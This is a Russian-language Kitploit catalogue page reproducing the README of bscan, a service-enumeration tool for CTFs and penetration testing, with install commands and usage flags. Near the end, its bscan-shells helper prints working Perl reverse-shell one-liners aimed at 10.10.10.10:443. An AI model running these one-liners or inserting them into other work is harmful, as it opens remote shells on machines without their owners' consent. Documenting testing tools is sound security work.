Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
bscan — асинхронный инструмент перечисления целей | Kitploit
Инструменты/GitHubGitHub/welchbj/bscan
РазведкаКартирование сетиГенерация полезной нагрузкиСканирование портовСбор информацииCTFТестирование на Проникновение
GitHubwelchbj/bscan

bscan

асинхронный инструмент перечисления целей

Репозиторий
250347 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

bscan

:mag: асинхронный инструмент для перечисления целей :mag_right:

travis status pypi built for kali linux python version


Краткое описание

bscan — это утилита командной строки для активного сбора информации и перечисления служб. По сути, bscan асинхронно запускает процессы известных сканирующих утилит, преобразуя результаты сканирования в выделенный консольный вывод и хорошо структурированный каталог файлов.

Лицензия

bscan предназначен только для образовательных целей и таких мероприятий, как CTF, и никогда не должен запускаться на машинах и/или сетях без явного предварительного согласия. Этот код выпущен под лицензией MIT.

Установка

bscan был написан для работы в Kali Linux, но в принципе ничто не мешает его запуску в любой ОС с установленными соответствующими инструментами. Существует несколько различных типов пакетов и способов их установки.

Самый простой способ начать работу — скачать подходящий однофайловый исполняемый файл программы для вашей операционной системы (установка Python не требуется):

root@kitploit:~
# на Linux (например, Kali)
wget -O bscan https://releases.brianwel.ch/bscan/linux

# на Windows
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; wget 'https://releases.brianwel.ch/bscan/windows' -OutFile 'bscan.exe'"

# чтобы загрузить конкретную версию, используйте следующий шаблон
wget -O bscan https://releases.brianwel.ch/github/bscan/linux/0.1.4

Вы также можете загрузить последнюю собранную версию из PyPI (обратите внимание, что для этого требуется существующая установка Python 3.6+):

root@kitploit:~
pip install bscan

Аналогично, вы можете получить самую свежую версию из системы контроля версий:

root@kitploit:~
pip install https://github.com/welchbj/bscan/archive/master.tar.gz

Базовое использование

bscan имеет множество параметров конфигурации, которые можно использовать для настройки сканирования под ваши нужды. Вот краткий пример:

root@kitploit:~
$ bscan \
> --max-concurrency 3 \
> --patterns [Mm]icrosoft \
> --status-interval 10 \
> --verbose-status \
> scanme.nmap.org

Что здесь происходит?

  • --max-concurrency 3 означает, что одновременно будет запущено не более 3 параллельных подпроцессов сканирования
  • --patterns [Mm]icrosoft задаёт пользовательский шаблон регулярного выражения для подсветки совпадений в выводимых результатах сканирования
  • --status-interval 10 указывает bscan выводить обновления статуса выполнения каждые 10 секунд
  • --verbose-status означает, что каждое такое обновление будет выводить подробности обо всех текущих работающих подпроцессах сканирования
  • scanme.nmap.org — это хост, который мы хотим просканировать

bscan также использует некоторые дополнительные файлы конфигурации. Файлы по умолчанию находятся в каталоге bscan/configuation и служат следующим целям:

  • patterns.txt задаёт шаблоны regex, которые будут подсвечиваться в консольном выводе при совпадении с результатами сканирования
  • required-programs.txt перечисляет установленные программы, которые планирует использовать bscan
  • port-scans.toml определяет сканирования для обнаружения портов, выполняемые для целевого хоста (целевых хостов), а также регулярные выражения для извлечения номеров портов и имён служб из вывода сканирования
  • service-scans.toml определяет сканирования, выполняемые для целевого хоста (целевых хостов) отдельно для каждой службы

Подробные параметры

Вот что вы должны увидеть при выполнении bscan --help:

root@kitploit:~
usage: bscan [OPTIONS] targets

 _
| |__  ___  ___ __ _ _ __
| '_ \/ __|/ __/ _` | '_ \
| |_) \__ \ (__ (_| | | | |
|_.__/|___/\___\__,_|_| |_|

an asynchronous service enumeration tool

positional arguments:
  targets               the targets and/or networks on which to perform enumeration

optional arguments:
  -h, --help            show this help message and exit
  --brute-pass-list F   filename of password list to use for brute-forcing
  --brute-user-list F   filename of user list to use for brute-forcing
  --cmd-print-width I   the maximum integer number of characters allowed when printing
                        the command used to spawn a running subprocess (defaults to 80)
  --config-dir D        the base directory from which to load the configuration files;
                        required configuration files missing from this directory will
                        instead be loaded from the default files shipped with this
                        program
  --hard                force overwrite of existing directories
  --max-concurrency I   maximum integer number of subprocesses permitted to be running
                        concurrently (defaults to 20)
  --no-program-check    disable checking the presence of required system programs
  --no-file-check       disable checking the presence of files such as configured
                        wordlists
  --no-service-scans    disable running scans on discovered services
  --output-dir D        the base directory in which to write output files
  --patterns [ [ ...]]  regex patterns to highlight in output text
  --ping-sweep          enable ping sweep filtering of hosts from a network range
                        before running more intensive scans
  --quick-only          whether to only run the quick scan (and not include the
                        thorough scan over all ports)
  --qs-method S         the method for performing the initial TCP port scan; must
                        correspond to a configured port scan
  --status-interval I   integer number of seconds to pause in between printing status
                        updates; a non-positive value disables updates (defaults to 30)
  --ts-method S         the method for performing the thorough TCP port scan; must
                        correspond to a configured port scan
  --udp                 whether to run UDP scans
  --udp-method S        the method for performing the UDP port scan; must correspond
                        to a configured port scan
  --verbose-status      whether to print verbose runtime status updates, based on
                        frequency specified by `--status-interval` flag
  --version             program version
  --web-word-list F     the wordlist to use for scans

Вспомогательные инструменты

Основная программа bscan поставляется с двумя вспомогательными утилитами (bscan-wordlists и bscan-shells), которые облегчат вам поиск словарей и попытки открытия обратных оболочек.

bscan-wordlists — это программа, предназначенная для поиска файлов словарей в Kali Linux. Она ищет в нескольких каталогах по умолчанию и поддерживает сопоставление имён файлов по шаблону. Вот простой пример:

root@kitploit:~
$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt

Попробуйте bscan-wordlists --help, чтобы изучить другие параметры.

bscan-shells — это программа, которая генерирует множество однострочных команд для обратных оболочек с заполненными полями target и port. Вот простой пример для вывода всех Perl-оболочек, настроенных на подключение к 10.10.10.10 на порт 443:

root@kitploit:~
$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Обратите внимание, что bscan-shells берёт эти команды из файла конфигурации reverse-shells.toml. Попробуйте bscan-shells --help, чтобы изучить другие параметры.

Разработка

Начните с настройки нового окружения для разработки и установки зависимостей (используя virtualenvwrapper / virtualenvwrapper-win):

root@kitploit:~
# настройка окружения
mkvirtualenv -p $(which python3) bscan-dev
workon bscan-dev

# установите зависимости
pip install -r dev-requirements.txt

Проверьте код линтером и статическим анализатором типов (они также выполняются на Travis):

root@kitploit:~
flake8 . && mypy bscan

Когда приходит время собрать новый релиз:

root@kitploit:~
# создание однофайлового исполняемого файла
pyinstaller bscan.spec

# сборка исходной и wheel-дистрибутивов
python setup.py bdist_wheel sdist

# выполнение пост-сборочных проверок
twine check dist/*

# загрузка на PyPI
twine upload dist/*
Скачать инструмент